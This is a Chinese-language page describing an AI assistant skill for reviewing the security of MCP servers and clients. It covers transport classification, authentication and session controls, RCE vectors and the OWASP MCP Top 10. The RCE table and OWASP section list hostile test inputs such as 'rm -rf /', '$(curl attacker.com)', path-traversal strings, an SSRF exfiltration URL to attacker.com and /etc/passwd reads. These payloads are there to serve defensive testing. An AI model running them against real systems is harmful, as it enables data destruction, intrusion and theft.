关于 mcp-implementation-security-review
用于审查 MCP 实现安全性的技能,可识别客户端与服务端、传输方式及协议状态,并检查安全控制、代码执行风险和 OWASP MCP 风险。
主要功能
- 01客户端与服务端分类
- 02传输方式和协议版本检查
- 03基线控制审查
- 04七类 RCE 风险评估
- 05OWASP MCP 风险评估
- 06基于证据的报告
适用场景
- 01审查 MCP 服务的安全状况
- 02评估本地及网络暴露的传输方式
- 03审计 MCP 工具输入的执行风险
- 04编写附有证据的发现报告
MCP 相关
该技能提供 MCP 客户端和服务端的审查流程,涵盖协议版本、传输方式、服务端控制、RCE 向量及 OWASP MCP 风险。
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ github/ awesome-copilot --skill mcp-implementation-security-review安装后在 Claude Code 中输入/mcp-implementation-security-review确认已加载。
详细介绍
MCP 实现安全审查
流程
步骤 1 — 对目标分类
- 检查 MCP 协议版本 2025-03-26 或更高版本(当前:2025-11-25)。将更早的版本标记为一项发现,但继续审查。
- 判断目标是 服务 还是 客户端。
- 使用下方的传输参考,将传输分类为 网络暴露 或 仅本地。
- 记录传输方式、协议版本以及是否存在会话。
完成标准: 已识别目标类型、协议状态和传输方式。
步骤 2 — 过滤误报
- 在创建发现之前先应用 误报过滤器。
- 仅当文档描述的是该仓库自身服务的行为、部署、传输或认证态势时,才保留这些文档。
- 对于框架/SDK 仓库,将发现范围限定为 默认配置 和 公共 API 表面。
完成标准: 剩余证据属于范围内的代码、仓库自有文档或公共 API 行为。
步骤 3 — 检查基线控制
- 对于 网络暴露的服务,检查 MCP-01 至 MCP-05。
- 对于 本地/STDIO 服务,不要将基线控制标记为 PASS/FAIL;给出最佳实践说明并继续 RCE 审查。
- 对于 客户端,仅审查客户端代码中明确可见的令牌/会话处理;除非用户要求进行客户端侧风险审查,否则不要应用服务基线。
完成标准: 每项适用的控制都有有依据的状态。
步骤 4 — 检查 RCE 向量
- 审查全部 7 个 RCE 向量。
- 将每个向量标记为 SAFE、AT RISK 或 N/A。
- 优先采用直接证据而非推断;下方的 RCE 向量表列举了需要查找的模式。
完成标准: 每个相关工具都有 RCE 结果或明确的 N/A。
步骤 5 — 检查 OWASP MCP Top 10
- 评估下方全部 10 项 OWASP 风险。
- 如果步骤 3 中的某项控制已完全覆盖某项 OWASP 风险,请引用该结果,而不要重新检查。
- 对于本地/STDIO 服务,将从网络依赖的 OWASP 风险(MCP07、MCP09)标记为 N/A。
- 将每项风险标记为 PASS、FAIL 或 NEEDS INVESTIGATION。
完成标准: 全部 10 项 OWASP 风险都有可观察证据支持的结果,或引用自步骤 3。
步骤 6 — 报告
- 使用下方的 合规输出格式。
- 在每项理由中包含文件/行号引用。
- 将代码发现与人工后续跟进分开。
- 如果证据不完整,请使用 NEEDS INVESTIGATION 并指出缺失的产物。
完成标准: 报告包含控制、RCE、可选的 OWASP 以及行动项。
参考
判定规则
- 网络暴露的服务: 应用 全部 5 项控制,然后运行 RCE 和所要求的 OWASP 检查。
- 本地/STDIO 服务: 针对 5 项控制仅给出 最佳实践指导;仍要运行 RCE,因为工具输入可以在本地执行。
- 客户端: 审查接收令牌的处理以及拒绝信任服务提供的会话 ID;除非被要求,否则不要强制应用服务控制。
- 反向代理或容器暴露: 如果流量可以通过网络到达服务,即使内部绑定是 localhost,也将其视为 网络暴露。
- 证据不明确: 不要猜测。标记 NEEDS INVESTIGATION 并说明必须人工验证什么。
- 认证覆盖范围不明确: 存在认证中间件,但不清楚它是否覆盖 MCP 端点 → 标记 NEEDS INVESTIGATION。
- 无法确定传输方式: 如果无法从代码确定传输方式,请标记以供人工审查,并且 不要 假定为 STDIO —— 默认为 STDIO 会错误地跳过服务控制。
传输分类
网络暴露(强制执行所有控制措施):
| 模式 | 传输方式 |
|---|---|
transport="http" 或 transport="sse" | HTTP/SSE |
StreamableHttpServerTransport | HTTP (TS/JS) |
SSEServerTransport | SSE (TS/JS) |
WithHttpTransport() | HTTP (C#) |
host="0.0.0.0" | 全接口绑定 |
带有 MCP 路由的 Express .listen(port) | HTTP(默认 0.0.0.0) |
Dockerfile 中的 EXPOSE + MCP 服务 | 网络暴露 |
仅本地(仅最佳实践):
| 模式 | 传输方式 |
|---|---|
StdioServerTransport | STDIO (TS/JS) |
WithStdioServerTransport() | STDIO (C#) |
transport="stdio" | STDIO |
不带参数的 mcp.run()(Python FastMCP) | 默认 STDIO |
带 command 键且无 URL 的 .vscode/mcp.json | STDIO 子进程 |
主机绑定陷阱:
| 绑定 | 实际暴露情况 |
|---|---|
host="0.0.0.0" | 🔴 网络暴露 |
host="127.0.0.1" 或 localhost | 🟢 仅本地 |
| 无显式主机(Express/Node) | 🔴 默认为 0.0.0.0 |
| 无显式主机(Python FastMCP) | 🟡 取决于传输方式——需验证 |
Docker ports: "8000:8000" | 🔴 即使进程在容器内绑定 127.0.0.1,仍然网络暴露 |
误报过滤器
| 误报模式 | 如何检测 |
|---|---|
.github/skills/ 模板 | 路径包含 .github/skills/ —— 技能模板,而非服务代码 |
| 内置 SDK / 开源副本 | 文件定义了 class FastMCP、class McpServer,或路径位于 node_modules/、vendor/ 中 |
| MCP 客户端配置 | 带 inputs/servers 但无服务代码的 .vscode/mcp.json |
| 文档 / 教程 | 包含与本仓库自身服务无关的代码块的 .md、.rst |
| 仅出站认证库 | DefaultAzureCredential、服务账户 JSON 或类似仅用于出站认证的内容 |
描述仓库自身服务行为、传输方式、认证态势或部署的文档不属于误报。
控制措施参考
MCP-01 —— 身份隔离
范围: 远程 MCP 服务
条件
- 使用可信身份提供商对每个入站请求进行身份验证,并在服务边界强制执行授权;不要从会话 ID、先前请求或网络位置推断认证。
- 使用唯一的服务专用应用身份和受众/资源标识符;出站调用使用独立作用域的服务凭证或按需的代理流(on-behalf-of),绝不使用入站令牌。
- 未经认证的发现端点仅允许用于纯元数据的 OAuth/MCP 引导:
/.well-known/oauth-protected-resource、/.well-known/oauth-authorization-server、/.well-known/openid-configuration。
需检查内容
- 令牌验证和授权中间件在每个 MCP 路由上运行;授权区分工具调用、只读和管理操作(如存在)。
- 身份配置显示专用的应用/客户端/资源 ID 和受众;出站客户端获取自己的令牌,绝不复制入站
Authorization。 - 发现端点仅返回元数据,不能执行工具或暴露受保护数据。
关键陷阱: 共享应用身份或转发的调用方令牌会破坏身份隔离并产生混淆代理路径。
MCP-02 — 会话
范围: 支持会话的远程 MCP 服务
适用性
- 任何地方都未签发或使用会话标识符 → 标记为 N/A(仍需按请求进行认证;参见 MCP-01)。
- 会话由传输层/SDK 管理(例如 Streamable HTTP
Mcp-Session-Id),但生成/绑定在源码中不可见 → 标记为 NEEDS INVESTIGATION,而非 FAIL。 - 代码中存在会话标识符 → 根据以下条件评分 PASS/FAIL。
条件
- 对每一个请求进行认证和授权;会话状态绝不能替代令牌验证。
- 会话 ID 仅是不透明的关联/连续性令牌;它们不授予特权、不编码授权信息,也不绕过认证。
- 会话 ID 由 CSPRNG 生成、不可预测、绑定到已认证的上下文,且绝不嵌入 URL。
检查内容
- 中间件按请求验证令牌,而不仅仅在会话启动时验证。
- 授权逻辑绝不能仅凭会话 ID 就予以信任;会话 ID 的丢失或重用不得授予访问权限。
- 会话创建使用随机 ID(GUID v4/CSPRNG 可接受;顺序或基于时间的 ID 不可接受)。
关键陷阱: 将会话 ID 当作持有者凭证,会把关联令牌变成认证凭证。
MCP-03 — 速率限制
范围: MCP 服务和工具
条件
- 对工具发现和工具调用实施速率限制和滥用防护。
- 在 MCP 服务运行时实施限制,而不仅仅在网关处;按已认证身份以及(存在会话时的)会话进行分区。
- 对具备变更能力及高成本的工具实施更严格的限制;超出限制时,以 HTTP 429 和 Retry-After 故障关闭,并且不执行该工具。
检查内容
- 服务代码中的发现和调用端点上存在速率限制中间件或等效机制,而不仅仅在入口或代理配置中。
- 限制按身份和会话作为键,对写入/高成本操作设置更紧的配额。
- 超出的请求在后端操作之前停止,并返回带 Retry-After 的 429。
起始阈值(根据实际负载、下游限制和成本进行调整):
| 工具类型 | 每身份 | 每会话 | 说明 |
|---|---|---|---|
| 只读 / 列表 | 100/min | 200/min | 如果下游 API 敏感则调低 |
| 变更 / 写入 | 10/min | 20/min | 对改变状态的操作更严格 |
| 高成本计算 | 5/min | 10/min | 成本加权;留意云支出 |
| 工具发现 | 30/min | 60/min | 防止枚举滥用 |
关键陷阱: 仅在网关限流或使用单一扁平桶会留下绕过途径,并对昂贵工具保护不足。
MCP-04 — Schema 验证
范围: 暴露带结构化参数工具的 MCP 服务
条件
- 在执行之前,依据显式 schema 验证所有工具参数。
- Schema 定义类型、必填字段、枚举和边界,并默认拒绝未指定的属性(
additionalProperties: false或等效设置)。 - 每次调用时在服务端运行验证;无效输入以 400/MCP 错误故障关闭,且不执行任何后端操作。
检查内容
- 每个工具描述符都有一个覆盖类型、必填字段、枚举、边界和属性限制的 schema。
- 每次调用时在服务边界处进行验证,而不仅仅在客户端、网关或下游服务中。
- 负面测试会拒绝格式错误的输入、多余属性和边界违规。
关键陷阱: 允许多余属性或仅客户端验证会产生隐藏的攻击面和范围蔓延。
MCP-05 — SDK 优先
范围: 远程 MCP 服务
条件
- 使用适用于你的服务端语言的官方 MCP SDK 构建远程 MCP 服务:
- 第 1 级(完全支持): TypeScript (modelcontextprotocol/typescript-sdk)、Python (modelcontextprotocol/python-sdk)、C#/.NET (modelcontextprotocol/csharp-sdk)、Go (modelcontextprotocol/go-sdk)
- 第 2/3 级(开发中): Java (modelcontextprotocol/java-sdk)、Kotlin (modelcontextprotocol/kotlin-sdk)、Rust (modelcontextprotocol/rust-sdk)、Swift (modelcontextprotocol/swift-sdk)、PHP (modelcontextprotocol/php-sdk)、Ruby (modelcontextprotocol/ruby-sdk)
- 如果未使用官方 SDK,请将 MCP-05 标记为 NEEDS INVESTIGATION。
- 保持 SDK 为最新版本并已打补丁,并确认哪些控制项是自动的、哪些是手动的。
需要检查的内容
- 依赖项引用的是官方 MCP SDK,而不是手工编写的 HTTP/SSE 技术栈。
- 如果未使用 SDK,则仓库中应包含针对认证/授权、会话、速率限制和 schema 校验的直接证据。
- 依赖项固定和更新规范表明 SDK 得到了维护。
主要陷阱: 手工编写的服务端往往会遗漏某个"小"基础能力——按请求认证、限流或校验——而这些缺口会不断累积。
RCE 向量
| 向量 | 危险代码 | 安全替代方案 | 测试载荷 | CWE |
|---|---|---|---|---|
| 命令注入 | exec("convert " + args.filename)、os.system(f"process {user_input}")、Process.Start("cmd", "/c " + toolArg) | execFile("convert", [args.filename])、subprocess.run(["process", user_input], shell=False) | ; rm -rf /、$(curl attacker.com)、` | net user` 必须被拒绝或按字面处理 |
| 动态代码求值 | eval(args.expression)、exec(tool_output)、new Function(args.code)() | 沙箱化解析器、基于 AST 的求值,或预定义允许列表 | __import__('os').system('whoami')、require('child_process').exec('id') 必须被拒绝 | CWE-94、CWE-95 |
| 不安全的反序列化 | pickle.loads(user_data)、yaml.load(input, Loader=yaml.UnsafeLoader)、BinaryFormatter.Deserialize(stream) | yaml.safe_load()、JSON.parse() 加 schema 校验;对不可信输入避免使用二进制格式 | 精心构造的序列化载荷必须被拒绝或安全处理 | CWE-502 |
| 路径遍历 | 未做校验的 fs.readFile(args.path)、open(user_path, 'w') | 在读/写/执行之前进行规范化,并强制使用允许列表中的基础目录 | ../../../../etc/passwd、C:\Windows\System32\config\SAM、..\..\..\.env 必须被拒绝 | CWE-22 |
| SSTI | Template(user_input).render()、Handlebars.compile(args.template)({data}) | 绝不要将用户输入用作模板源;仅使用带参数的预定义模板 | {{7*7}}、${7*7}、<%= 7*7 %> 不得渲染出 49 | CWE-1336 |
| 依赖劫持 | 未固定的依赖项,如 "lodash": "^4.0.0";内部包名可从公共注册表解析 | 固定精确版本,保留带完整性哈希的锁文件,使用受信任/限定作用域的注册表,在可行时验证签名 | npm audit、pip audit 或 dotnet list package --vulnerable;审查 CVE 和可疑包 | CWE-829 |
| SSRF | requests.get(user_param)、fetch(user_input)、HttpClient.GetAsync(user_input) | 对协议/域名使用允许列表,阻止 RFC1918 和链路本地目标,在发送前校验 URL | http://169.254.169.254/latest/meta-data/、http://localhost:8080/admin、http://attacker.com/?data=stolen 必须被拒绝 | CWE-918 |
OWASP MCP Top 10
MCP01:2025 — Token 管理不当与密钥泄露 测试:搜索硬编码密钥和 token 日志记录;确认密钥来自环境变量或密钥管理器;确认 token 为短期有效/会轮换。 通过:无硬编码密钥、敏感字段已脱敏、token 短期有效/会轮换。失败:硬编码密钥、记录 token 日志,或长期有效且不轮换的 token。
MCP02:2025 — 通过权限蔓延实现提权 测试:审查 scope/角色;确认最小权限和按请求授权;除非有正当理由,否则拒绝通配符管理员 scope;检查是否存在运行时能力扩展。 通过:最小权限 scope、按请求授权、无运行时能力扩展。失败:过宽的 scope、仅一次性认证,或可自我提权的工具。
MCP03:2025 — 工具投毒 测试:检查工具定义是否为静态且由服务端控制、工具能否修改元数据,以及输出是否包含可被大模型解析的指令。 通过:静态的、由服务端控制的定义,且输出仅为数据。失败:元数据来自外部来源,或输出中嵌入指令。
MCP04:2025 — 供应链攻击与依赖篡改
测试:检查是否存在锁文件、精确版本固定、可疑的 postinstall 脚本、依赖审计结果,以及是否使用可信注册表。
通过:依赖已固定版本、已提交锁文件、无已知漏洞、无可疑的安装后脚本。失败:依赖未固定版本、无锁文件、存在未修补的 CVE,或使用不受信任的注册表。
MCP05:2025 — 命令注入与执行
测试:搜索 shell 执行 API 和字符串拼接命令;追踪工具输入是否到达 shell 执行;测试 ; ls、$(whoami)、| cat /etc/passwd。
通过:不会因不受信任的输入执行 shell,或仅执行参数化且列入允许清单的命令。失败:用户输入到达 shell 命令、shell=True 配合格式化字符串,或不安全拼接。
MCP06:2025 — 通过上下文载荷的提示词注入 测试:检查工具输出是否回到大模型、外部内容是否经过净化/截断/沙箱隔离,以及链式工具调用是否有防护;测试带有对抗性指令的输出。 通过:工具输出仅为数据、不受信任的内容经过净化/截断/沙箱隔离,且链式调用有防护栏。失败:原始外部内容返回给模型,且没有任何链式调用限制。
MCP07:2025 — 认证与授权不足 测试:发送不带认证以及使用过期/无效 token 的请求;验证按工具的授权;确认认证在服务端强制执行,而不仅在网关处。 通过:所有端点都要求有效认证、存在按工具的授权,且在服务端强制执行。失败:存在任何未认证访问、缺少按工具授权,或仅在网关处强制执行。
MCP08:2025 — 缺乏审计与遥测 测试:调用一个工具,确认日志记录了调用方身份、工具名称和时间戳;触发一个错误,确认日志包含有用的上下文;验证集中式日志记录和告警。 通过:工具调用被记录且包含身份信息、日志集中管理,并且存在告警。失败:缺少日志、无调用方身份、仅本地记录日志,或无告警。
MCP09:2025 — 影子 MCP 服务 测试:确认该服务存在于服务清单中;检查是否存在未记录的 MCP 端点或暴露的非标准端口;检查开发/预发布环境隔离;确认负责人和审查记录。 通过:所有服务均已登记入清单、得到适当隔离,并有明确负责人。失败:存在未记录的服务、开发/测试环境暴露到生产网络,或无明确负责人。
MCP10:2025 — 上下文注入与过度共享 测试:检查工具响应是否符合数据最小化;在仅需子集时检查是否返回 PII 或完整对象;验证上下文隔离。 通过:仅返回最少数据、敏感字段被掩码/排除,并且上下文已隔离。失败:不必要地返回完整对象、PII 被暴露,或上下文在用户之间共享。
合规输出格式
在下面的每个汇总表中,Justification 单元格必须引用具体的文件/行证据来支持该状态。
控制项汇总
| 控制项 | 名称 | 状态 | Justification |
|---|---|---|---|
| MCP-01 | 认证与身份隔离 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |
| MCP-02 | 安全会话管理 | … | … |
| MCP-03 | 速率限制与滥用防护 | … | … |
| MCP-04 | 输入 schema 校验 | … | … |
| MCP-05 | 生产环境 SDK 使用 | … | … |
仅当代码明确满足该控制项时才使用 PASS。当违规可被观察到时使用 FAIL。当合规性取决于部署配置、身份提供方状态、日志或源代码中不可见的其他证据时,使用 NEEDS INVESTIGATION。
RCE 汇总
| 攻击向量 | 状态 | Justification |
|---|---|---|
| 命令注入 | SAFE / AT RISK / N/A | … |
| 动态代码求值 | … | … |
| 不安全的反序列化 | … | … |
| 路径遍历 | … | … |
| SSTI | … | … |
| 依赖劫持 | … | … |
| SSRF | … | … |
OWASP 汇总
| 风险 | 状态 | Justification |
|---|---|---|
| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |
| MCP02:2025 | … | … |
| MCP03:2025 | … | … |
| MCP04:2025 | … | … |
| MCP05:2025 | … | … |
| MCP06:2025 | … | … |
| MCP07:2025 | … | … |
| MCP08:2025 | … | … |
| MCP09:2025 | … | … |
| MCP10:2025 | … | … |
人工后续跟进
列出所有无法仅凭源代码完全解决的检查项,并说明需要哪些产物或访问权限才能验证它。
例外流程
- 记录差距: 确定未满足的控制项、确切的偏差、残余风险以及任何补偿性控制措施。
- 获得明确批准: 通过安全/发布审批流程走例外,指定负责人以及到期或复审日期。
- 跟踪并重新评估: 将已批准的例外连同合规结果一并记录,并在到期时或每当服务、工具、流量画像或暴露面发生变化时重新审视。